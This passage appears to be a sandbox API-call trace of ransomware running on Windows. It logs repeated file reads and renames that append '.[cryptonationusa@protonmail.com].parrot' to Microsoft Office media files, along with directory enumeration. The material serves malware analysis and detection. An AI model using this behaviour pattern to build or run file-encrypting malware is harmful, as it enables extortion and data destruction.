Office\\MEDIA\\CAGCAT10\\J0301076.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0163.046] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.046] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.060] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.060] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x953a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x953a, lpOverlapped=0x0) returned 1 [0163.064] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0163.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.070] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.072] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f40, lpOverlapped=0x0) returned 1 [0163.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0163.091] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.091] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.093] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.093] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a2b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5a2b, lpOverlapped=0x0) returned 1 [0163.097] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0163.102] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.102] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.104] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.104] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x25c1, lpOverlapped=0x0) returned 1 [0163.105] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228c050 | out: hHeap=0x5b0000) returned 1 [0163.110] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.110] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.112] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.112] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4d84, lpOverlapped=0x0) returned 1 [0163.113] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2290090 | out: hHeap=0x5b0000) returned 1 [0163.120] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.120] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.121] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.122] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5af0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5af0, lpOverlapped=0x0) returned 1 [0163.171] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2290090 | out: hHeap=0x5b0000) returned 1 [0163.178] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.178] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.189] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.190] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3372, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3372, lpOverlapped=0x0) returned 1 [0163.191] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228c050 | out: hHeap=0x5b0000) returned 1 [0163.197] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.198] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.207] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.207] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x60e4, lpOverlapped=0x0) returned 1 [0163.209] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2290090 | out: hHeap=0x5b0000) returned 1 [0163.215] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.215] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.217] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.217] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5168, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5168, lpOverlapped=0x0) returned 1 [0163.219] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2290090 | out: hHeap=0x5b0000) returned 1 [0163.224] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.224] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.248] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.248] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x47c2, lpOverlapped=0x0) returned 1 [0163.249] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2290090 | out: hHeap=0x5b0000) returned 1 [0163.255] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.255] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.264] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.264] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f64, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f64, lpOverlapped=0x0) returned 1 [0163.272] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0163.281] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.281] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.283] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.283] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce9a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xce9a, lpOverlapped=0x0) returned 1 [0163.286] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22980d0 | out: hHeap=0x5b0000) returned 1 [0163.295] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0163.295] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xed5aecc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xed5aecc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.297] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xec3623a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xec3623a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0163.297] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0163.297] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0163.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0163.297] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.297] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0163.297] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0163.297] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0163.297] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0163.297] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0163.298] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0163.298] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0163.298] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, 